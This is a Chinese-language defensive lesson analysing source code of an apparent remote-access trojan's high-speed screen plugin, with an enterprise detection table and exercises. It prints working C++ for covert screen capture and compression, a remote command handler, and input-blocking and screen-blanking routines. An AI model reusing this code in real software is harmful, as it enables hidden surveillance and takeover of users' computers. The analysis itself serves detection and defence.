changedRect.top = max(y - DEF_YSTEP, 0);
changedRect.right = min(x + DEF_XSTEP, m_nFullWidth);
changedRect.bottom = min(y + DEF_YSTEP, m_nFullHeight);
if (hRgnChanged == NULL)
hRgnChanged = CreateRectRgnIndirect(&changedRect);
else
{
hRgnCombine = CreateRectRgnIndirect(&changedRect);
CombineRgn(hRgnChanged, hRgnChanged, hRgnCombine, RGN_OR);
DeleteObject(hRgnCombine);
}
p1 += DEF_XSTEP / m_nIncSize;
p2 += DEF_XSTEP / m_nIncSize;
x += DEF_XSTEP;
}
}
// 下一轮从不同扫描行起步,避免长期只看同一批行。
m_nScanLine = (m_nScanLine + 3) % DEF_YSTEP;
if (hRgnChanged)
{
DWORD dwRgnSize = GetRegionData(hRgnChanged, 0, NULL);
LPRGNDATA lpRgnData = (LPRGNDATA)new BYTE[dwRgnSize];
GetRegionData(hRgnChanged, dwRgnSize, lpRgnData);
DeleteObject(hRgnChanged);
// 把变化区域真正复制出来并写入发送缓冲。
CopyChangedRect(lpRgnData, dwRgnSize);
delete[] lpRgnData;
return TRUE;
}
return FALSE;
}
void CScreenSpy::CopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize)
{
LPRECT lpChangedRect = (LPRECT)lpRgnData->Buffer;
for (int i = 0; i < (int)(lpRgnData->rdh.nCount); i++)
{
int nChangedRectWidth = lpChangedRect[i].right - lpChangedRect[i].left;
int nChangedRectHeight = lpChangedRect[i].bottom - lpChangedRect[i].top;
// 为当前变化矩形重设位图头。
// 变化块不是整屏尺寸,而是当前 RECT 的宽高。
m_lpbmi_rect->bmiHeader.biWidth = nChangedRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nChangedRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage =
(((nChangedRectWidth * m_biBitCount + 31) & ~31) >> 3) * nChangedRectHeight;
// 创建矩形 DIBSection,m_lpvRectBits 指向该变化块的像素内存。
// 后面的 BMP_JPG() 就是把这块内存编码成 JPEG。
m_lpvRectBits = NULL;
m_hRectBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_rect,
DIB_RGB_COLORS, &m_lpvRectBits, NULL, NULL);
::SelectObject(m_hRectMemDC, m_hRectBitmap);
// 第一处 BitBlt:把当前变化块写回上一帧基线。
// 这样下一次比较时,上一帧已经追上当前帧。
::BitBlt(m_hLastMemDC, lpChangedRect[i].left, lpChangedRect[i].top,
nChangedRectWidth, nChangedRectHeight,
m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);
// 把变化区域复制到 m_hRectMemDC,用于单独 JPEG 编码。
// 第二处 BitBlt:把变化块复制到临时矩形位图,准备编码。
::BitBlt(m_hRectMemDC, 0, 0, nChangedRectWidth, nChangedRectHeight,
m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);
void* bitstream = NULL;
int bitstreamlen = BMP_JPG(nChangedRectWidth, nChangedRectHeight,
m_biBitCount, m_SendUALITY, m_lpvRectBits, &bitstream);
if (bitstreamlen > 0)
{
// 每个变化块写入:JPEG 长度 -> JPEG 数据 -> RECT 坐标。
// 接收端据此把小块贴回完整画面。
WriteChangedBuffer((LPBYTE)&bitstreamlen, sizeof(int));
WriteChangedBuffer((LPBYTE)bitstream, bitstreamlen);
WriteChangedBuffer((LPBYTE)&lpChangedRect[i], sizeof(RECT));
}
if (bitstream)
free(bitstream);
::DeleteObject(m_hRectBitmap);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
屏幕帧数据很大,直接发送会占用大量带宽。因此代码中使用 JPEG 压缩,再由管理器层使用 zlib 压缩封包。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:267-318
// 防御分析注释:
// 1. BMP_JPG() 把 DIBSection 中的屏幕像素编码成 JPEG。
// 2. 该函数既可处理首帧整屏,也可处理后续变化矩形。
// 3. 网络侧看到的不是明文屏幕内容,而是压缩后的高熵二进制数据。
int CScreenSpy::BMP_JPG(int width, int height, int cbit, int quality, void* input, void** output)
{
jpeg_compress_struct jcs;
jpeg_error_mgr jem;
jcs.err = jpeg_std_error(&jem);
jpeg_create_compress(&jcs);
unsigned long outlen = 0;
// jpeg_mem_dest 表示输出写入内存,而不是写入文件。
// 对检测来说,“内存编码 + 网络发送”比“保存图片文件”更隐蔽。
jpeg_mem_dest(&jcs, (unsigned char**)output, &outlen);
// 根据位深设置 JPEG 输入颜色空间。
// 默认 32 位屏幕像素走 JCS_EXT_BGRA。
switch (cbit)
{
case 16:
jcs.in_color_space = JCS_EXT_RGB;
jcs.input_components = 3;
break;
case 24:
jcs.in_color_space = JCS_EXT_BGR;
jcs.input_components = 3;
break;
case 32:
jcs.in_color_space = JCS_EXT_BGRA;
jcs.input_components = 4;
break;
default:
jpeg_destroy_compress(&jcs);
return -1;
}
jcs.image_width = width;
jcs.image_height = height;
jpeg_set_defaults(&jcs);
// quality 由命令面可调。质量越高,画面越清晰,通常数据也越大。
jpeg_set_quality(&jcs, quality, TRUE);
jpeg_start_compress(&jcs, TRUE);
// 逐行写入 JPEG 编码器。line_stride 按位深和 4 字节对齐计算。
int line_stride = (jcs.image_width * cbit / 8 + 3) / 4 * 4;
while (jcs.next_scanline < jcs.image_height)
{
unsigned char* pline = (unsigned char*)input + jcs.next_scanline * line_stride;
jpeg_write_scanlines(&jcs, &pline, 1);
}
jpeg_finish_compress(&jcs);
jpeg_destroy_compress(&jcs);
return outlen;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
网络检测不能期待看到“屏幕文本”。它更可能看到持续的、大小波动的、压缩后的二进制上行流量。
# 12. 命令面:哪些能力必须被视为高风险
OnReceive 中包含多类命令:刷新、控制、算法重置、FPS、输入屏蔽、黑屏、分层窗口捕获、剪贴板读取和设置、质量调整等。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:73-139
// 防御分析注释:这里是远程屏幕插件的命令面。
// 本课只归类风险,不提供任何触发方式。
void CScreenQuickManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0])
{
case COMMAND_FLUSH_QUICK:
// 刷新画面。
break;
case COMMAND_SCREEN_CONTROL_QUICK:
// 高风险:处理远程控制事件。
ProcessCommand(lpBuffer + 1, nSize - 1);
break;
case COMMAND_SCREEN_ALGORITHM_RESET:
case COMMAND_SCREEN_RESET_QUICK:
case COMMAND_SCREEN_FPS_QUICK:
// 调整屏幕编码、位深和帧率。
break;
case COMMAND_SCREEN_BLOCK_INPUT_QUICK:
// 高风险:屏蔽本地输入。
break;
case COMMAND_SCREEN_BLANK_QUICK:
// 高风险:控制黑屏状态。
break;
case COMMAND_SCREEN_CAPTURE_LAYER_QUICK:
// 捕获分层窗口,可能扩大隐私暴露范围。
break;
case COMMAND_SCREEN_GET_CLIPBOARD_QUICK:
case COMMAND_SCREEN_SET_CLIPBOARD:
// 高风险:读取或写入剪贴板。
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
其中 ProcessCommand 会处理鼠标和键盘事件,属于远程控制面。本课不展开底层事件注入细节。对企业来说,重点是识别“屏幕采集 + 控制事件 + 输入屏蔽/黑屏”的组合,这通常不应出现在未登记、未授权、无用户提示的进程中。
# 13. 控制线程:黑屏、输入屏蔽和分辨率变化
控制线程持续运行,用于处理分辨率变化、黑屏状态和输入屏蔽。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:243-275
// 防御分析注释:控制线程会持续维护黑屏和输入屏蔽状态。
// 这类行为对合法远程协助软件也必须有明确授权和可见提示。
unsigned CScreenQuickManager::ControlThread(LPVOID lparam)
{
static bool bIsScreenBlanked = false;
CScreenQuickManager* pThis = (CScreenQuickManager*)lparam;
pThis->WaitForDialogOpen();
while (pThis->IsConnect())
{
if (pThis->IsMetricsChange() && pThis->m_bIsWorking)
pThis->ResetScreen(pThis->GetCurrentPixelBits());
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
BlockInput(TRUE);
}
else if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
BlockInput(FALSE);
}
Sleep(200);
}
BlockInput(FALSE);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
安全风险在于:这类行为会改变用户对本机的控制能力。合法软件如果需要“黑屏模式”或“屏蔽输入”,应具备强授权、可见提示、会话记录、管理员审批和紧急退出机制。
# 14. 企业检测点

建议按以下层面建立检测:
| 层面 | 检测点 | 说明 |
|---|---|---|
| 图形 API | GetDC、GetDesktopWindow、BitBlt、CreateDIBSection | 屏幕采集核心链路 |
| 编码压缩 | JPEG 函数、zlib compress | 屏幕流通常会压缩 |
| 网络行为 | 持续上行、大小波动、低延迟循环 | 和帧率、屏幕变化、变化矩形数量相关 |
| 进程行为 | 未知插件 DLL、长期工作线程 | 和模块加载记录关联 |
| 隐私行为 | 捕获分层窗口、读取剪贴板 | 扩大隐私暴露范围 |
| 控制行为 | BlockInput、PostMessage 控制显示器 | 高风险远程控制信号 |
| 合规侧 | 是否有用户提示、授权记录、会话留痕 | 合法远程协助必须具备 |
一个实用的关联逻辑:
- 进程建立外联连接。
- 同一进程调用屏幕采集 API。
- 同一进程调用图像压缩库。
- 出现持续上行数据。
- 出现剪贴板或输入屏蔽行为。
如果 1-4 同时满足,已经值得重点关注;如果再叠加第 5 项,应按高风险远程屏幕会话处理。
# 15. 合法练习题
- 不运行插件,只阅读源码,画出
WorkThread -> sendFirstScreen -> getFirstScreen -> compress -> Send的调用链。 - 列出
ScreenSpy.cpp中和屏幕采集相关的 GDI API,并说明每个 API 的防御含义。 - 说明本课为什么判断 JPEG 依赖来自 libjpeg-turbo,以及源码调用的是哪一组
jpeg_*API。 - 设计一条企业检测规则:未知进程在 30 秒内调用
BitBlt、JPEG 编码和外联发送时触发告警。 - 站在合法远程协助产品角度,设计“屏蔽输入”和“黑屏模式”的授权与退出机制。
- 比较一次性截图和持续屏幕流的流量差异,写出网络侧检测思路。
# 16. 本课小结
高速屏幕插件的主线是:网络连接创建管理器,管理器启动工作线程,CScreenSpy 通过 GDI 采集桌面画面,首帧发送整屏 JPEG,后续帧扫描变化矩形并把小块 JPEG/zlib 压缩后以 TOKEN_* 形式发送。它之所以叫“高速屏幕”,核心在于低延迟优先的连续采集、变化扫描、内存编码和持续发送链路。防御侧要把屏幕采集 API、压缩库、持续上行流量、剪贴板访问、输入屏蔽和黑屏控制组合起来看,而不是孤立地搜索某一个函数名。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言